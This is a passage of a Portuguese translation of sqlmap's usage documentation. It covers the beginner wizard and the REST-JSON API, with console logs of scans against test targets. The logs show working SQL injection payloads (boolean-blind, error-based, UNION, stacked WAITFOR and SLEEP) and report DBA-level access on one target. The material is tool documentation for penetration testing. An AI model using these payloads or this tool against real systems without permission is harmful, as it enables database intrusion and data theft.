[xx:xx:26] [INFO] the back-end DBMS is MySQL
[xx:xx:26] [INFO] fetching banner
web application technology: Nginx, PHP 5.3.10
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner: '5.1.73-0ubuntu0.10.04.1'
[xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com'
sqlmap-shell> exit

Interface de assistente simples para usuários iniciantes


Interruptor: --wizard

Para usuários iniciantes há uma interface de assistente que usa um fluxo de trabalho simples
com perguntas como possível. Se o usuário apenas inserir o URL de destino e usar as
Enter respostas padrão (por exemplo, pressionando), ele deve ter um ambiente de execução
sqlmap corretamente definido no final do fluxo de trabalho.
Exemplo contra um destino do Microsoft SQL Server:

$ python sqlmap.py --wizard

sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool


http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:26

Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_in


t.asp?id=1
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1

sqlmap is running, please wait..

heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2986=2986

Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C
HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)))

Type: UNION query


Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(118)+CHAR(114)+CHAR(1
00)+CHAR(58)+CHAR(70)+CHAR(79)+CHAR(118)+CHAR(106)+CHAR(87)+CHAR(101)+CHAR(119)+
CHAR(115)+CHAR(114)+CHAR(77)+CHAR(58)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)--

Type: stacked queries


Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=1; WAITFOR DELAY '0:0:5'--

Type: AND/OR time-based blind


Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=1 WAITFOR DELAY '0:0:5'--

Type: inline query


Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+CHAR(58)+(SELECT
(CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR
(109)+CHAR(113)+CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright (c) 1988-2005 Microsoft Corporation
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user: 'sa'
current database: 'testdb'
current user is DBA: True

[*] shutting down at xx:xx:52

API (REST-JSON)

Sqlmap pode ser executado através da API REST-JSON, API (abbr. Para Application Program
Interface) que usa a comunicação JSON para REST (abbr. Para REpresentational State Transfer)
entre instâncias do servidor e do cliente. No plainspeak, o servidor executa a varredura sqlmap
(s), enquanto os clientes estão definindo as opções / switches sqlmap e puxam os resultados de
volta. Arquivo de programa sqlmapapi.py principal para executar a API é , enquanto o cliente
também pode ser implementado dentro do programa de usuário arbitrário.

$ python sqlmapapi.py -hh


Usage: sqlmapapi.py [options]

Options:
-h, --help show this help message and exit
-s, --server Act as a REST-JSON API server
-c, --client Act as a REST-JSON API client
-H HOST, --host=HOST Host of the REST-JSON API server (default "127.0.0.1")
-p PORT, --port=PORT Port of the the REST-JSON API server (default 8775)
--adapter=ADAPTER Server (bottle) adapter to use (default "wsgiref")

O servidor é executado sqlmapapi.py usando o switch -s , o cliente usando o switch -c ,


enquanto que em ambos os casos o usuário pode (opcionalmente) definir o endereço IP de
escuta com a opção -H (padrão "127.0.0.1" ) ea porta de escuta com a opção -p (padrão
8775 ). A "sessão" de cada cliente pode ter várias "tarefas" (isto é, execuções de varredura de
sqlmap), onde o usuário pode escolher arbitrariamente qual tarefa deve estar ativa no momento.

Dentro dos comandos disponíveis da interface de linha de comando do cliente estão:

help - mostrando a lista de comandos disponíveis juntamente com as informações de


ajuda básicas
new ARGS - inicia uma nova tarefa de verificação com os argumentos fornecidos (por
exemplo new -u "http://testphp.vulnweb.com/artists.php?artist=1" )
use TASKID - muda o contexto atual para a tarefa diferente (por exemplo use
c04d8c5c7582efb4 )

data - recupera e mostra dados para a tarefa atual

log - recupera e mostra o log para a tarefa atual

status - recupera e mostra o status da tarefa atual

stop - pára tarefa atual

kill - mata a tarefa atual

list - exibe todas as tarefas (para a sessão atual)

flush - esvazia (ie exclui) todas as tarefas

exit - sai da interface do cliente

Exemplo de execução do servidor:

$ python sqlmapapi.py -s -H "0.0.0.0"


[12:47:51] [INFO] Running REST-JSON API server at '0.0.0.0:8775'..
[12:47:51] [INFO] Admin ID: 89fd118997840a9bd7fc329ab535b881
[12:47:51] [DEBUG] IPC database: /tmp/sqlmapipc-SzBQnd
[12:47:51] [DEBUG] REST-JSON API server connected to IPC database
[12:47:51] [DEBUG] Using adapter 'wsgiref' to run bottle
[12:48:10] [DEBUG] Created new task: 'a42ddaef02e976f0'
[12:48:10] [DEBUG] [a42ddaef02e976f0] Started scan
[12:48:16] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:50] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:55] [DEBUG] [a42ddaef02e976f0] Retrieved scan log messages
[12:48:59] [DEBUG] [a42ddaef02e976f0] Retrieved scan data and error messages

Exemplo de execução de cliente:

$ python sqlmapapi.py -c -H "192.168.110.1"


[12:47:53] [DEBUG] Example client access from command line:
$ taskid=$(curl http://192.168.110.1:8775/task/new 2>1 | grep -o -I '[a-f0-9
]\{16\}') && echo $taskid
$ curl -H "Content-Type: application/json" -X POST -d '{"url": "http://testp
hp.vulnweb.com/artists.php?artist=1"}' http://192.168.110.1:8775/scan/$taskid/st
art
$ curl http://192.168.110.1:8775/scan/$taskid/data
$ curl http://192.168.110.1:8775/scan/$taskid/log
[12:47:53] [INFO] Starting REST-JSON API client to 'http://192.168.110.1:8775'..
.
[12:47:53] [DEBUG] Calling http://192.168.110.1:8775
[12:47:53] [INFO] Type 'help' or '?' for list of available commands
api> ?
help Show this help message
new ARGS Start a new scan task with provided arguments (e.g. 'new -u "http://
testphp.vulnweb.com/artists.php?artist=1"')
use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4
')
data Retrieve and show data for current task
log Retrieve and show log for current task
status Retrieve and show status for current task
stop Stop current task
kill Kill current task
list Display all tasks
flush Flush tasks (delete all tasks)
exit Exit this client
api> new -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner --flush-s
ession
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/task/new
[12:48:10] [INFO] New task ID is 'a42ddaef02e976f0'
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/start
[12:48:10] [INFO] Scanning started
api (a42ddaef02e976f0)> status
[12:48:16] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
"status": "running",
"returncode": null,
"success": true
}
api (a42ddaef02e976f0)> status
[12:48:50] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
"status": "terminated",
"returncode": 0,
"success": true
}
api (a42ddaef02e976f0)> log
[12:48:55] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/log
{
"log": [
{
"message": "flushing session file",
"level": "INFO",
"time": "12:48:10"
},
{
"message": "testing connection to the target URL",
"level": "INFO",
"time": "12:48:10"
},
{
"message": "checking if the target is protected by some kind of WAF/
IPS/IDS",
"level": "INFO",
"time": "12:48:10"
},
{
"message": "testing if the target URL is stable",
"level": "INFO",
"time": "12:48:10"
},
{
"message": "target URL is stable",
"level": "INFO",
"time": "12:48:11"
},
{
"message": "testing if GET parameter 'artist' is dynamic",
"level": "INFO",
"time": "12:48:11"
},
{
"message": "confirming that GET parameter 'artist' is dynamic",
"level": "INFO",
"time": "12:48:11"
},
{
"message": "GET parameter 'artist' is dynamic",
"level": "INFO",
"time": "12:48:11"
},
{
"message": "heuristic (basic) test shows that GET parameter 'artist'
might be injectable (possible DBMS: 'MySQL')",
"level": "INFO",
"time": "12:48:11"
},
{
"message": "testing for SQL injection on GET parameter 'artist'",
"level": "INFO",
"time": "12:48:11"
},
{
"message": "testing 'AND boolean-based blind - WHERE or HAVING claus
e'",
"level": "INFO",
"time": "12:48:11"
},
{
"message": "GET parameter 'artist' appears to be 'AND boolean-based
blind - WHERE or HAVING clause' injectable (with --string=\"hac\")",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (BIGINT UNSIGNED)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (BIGINT UNSIGNED)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXP)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (EXP)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING,
ORDER BY or GROUP BY clause (JSON_KEYS)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING c
lause (JSON_KEYS)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (FLOOR)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXTRACTVALUE)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (EXTRACTVALUE)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (UPDATEXML)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (UPDATEXML)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING cla
use (FLOOR)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL OR error-based - WHERE or HAVING clause (
FLOOR)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (E
XTRACTVALUE)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.5 error-based - Parameter replace (B
IGINT UNSIGNED)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.5 error-based - Parameter replace (E
XP)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.7.8 error-based - Parameter replace
(JSON_KEYS)'",
"level": "INFO",
"time": "12:48:12"
},
{
"message": "testing 'MySQL >= 5.0 error-based - Parameter replace (F
LOOR)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL >= 5.1 error-based - Parameter replace (U
PDATEXML)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL >= 5.1 error-based - Parameter replace (E
XTRACTVALUE)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL inline queries'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL > 5.0.11 stacked queries (comment)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL > 5.0.11 stacked queries'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP - c
omment)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL < 5.0.12 stacked queries (heavy query - c
omment)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL < 5.0.12 stacked queries (heavy query)'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "testing 'MySQL >= 5.0.12 AND time-based blind'",
"level": "INFO",
"time": "12:48:13"
},
{
"message": "GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AN
D time-based blind' injectable ",
"level": "INFO",
"time": "12:48:23"
},
{
"message": "testing 'Generic UNION query (NULL) - 1 to 20 columns'",
"level": "INFO",
"time": "12:48:23"
},
{
"message": "automatically extending ranges for UNION query injection
technique tests as there is at least one other (potential) technique found",
"level": "INFO",
"time": "12:48:23"
},
{
"message": "'ORDER BY' technique appears to be usable. This should r
educe the time needed to find the right number of query columns. Automatically e
xtending the range for current UNION query injection technique test",
"level": "INFO",
"time": "12:48:23"
},
{
"message": "target URL appears to have 3 columns in query",
"level": "INFO",
"time": "12:48:23"
},
{
"message": "GET parameter 'artist' is 'Generic UNION query (NULL) -
1 to 20 columns' injectable",
"level": "INFO",
"time": "12:48:24"
},
{
"message": "the back-end DBMS is MySQL",
"level": "INFO",
"time": "12:48:24"
},
{
"message": "fetching banner",
"level": "INFO",
"time": "12:48:24"
}
],
"success": true
}
api (a42ddaef02e976f0)> data
[12:48:59] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/data
{
"data": [
{
"status": 1,
"type": 0,
"value": [
{
"dbms": "MySQL",
"suffix": "",
"clause": [
1,
9
],
"notes": [],
"ptype": 1,
"dbms_version": [
">= 5.0.12"
],
"prefix": "",
"place": "GET",
"os": null,
"conf": {
"code": null,
"string": "hac",
"notString": null,
"titles": false,
"regexp": null,
"textOnly": false,
"optimize": false
},
"parameter": "artist",
"data": {
"1": {
"comment": "",
"matchRatio": 0.85,
"trueCode": 200,
"title": "AND boolean-based blind - WHERE or HAVING
clause",
"templatePayload": null,
"vector": "AND [INFERENCE]",
"falseCode": 200,
"where": 1,
"payload": "artist=1 AND 2794=2794"
},
"5": {
"comment": "",
"matchRatio": 0.85,
"trueCode": 200,
"title": "MySQL >= 5.0.12 AND time-based blind",
"templatePayload": null,
"vector": "AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLE
EPTIME]),[RANDNUM])",
"falseCode": null,
"where": 1,
"payload": "artist=1 AND SLEEP([SLEEPTIME])"
},
"6": {
"comment": "[GENERIC_SQL_COMMENT]",
"matchRatio": 0.85,
"trueCode": null,
"title": "Generic UNION query (NULL) - 1 to 20 colum
ns",
"templatePayload": null,
"vector": [
2,
3,
"[GENERIC_SQL_COMMENT]",
"",
"",
"NULL",
2,
false,
false
],
"falseCode": null,
"where": 2,
"payload": "artist=-5376 UNION ALL SELECT NULL,NULL,
CONCAT(0x716b706a71,0x4a754d495377744d4273616c436b4b6a504164666a5572477241596649
704c68614672644a477474,0x7162717171)-- aAjy"
}
}
}
]
},
{
"status": 1,
"type": 2,
"value": "5.1.73-0ubuntu0.10.04.1"
}
],
"success": true,
"error": []
}
api (a42ddaef02e976f0)> exit
$

© 2017 GitHub , Inc. Termos Privacidade Segurança Status Socorro Entrar em contato com GitHub API Treinamento fazer compras Blog Sobre

You might also like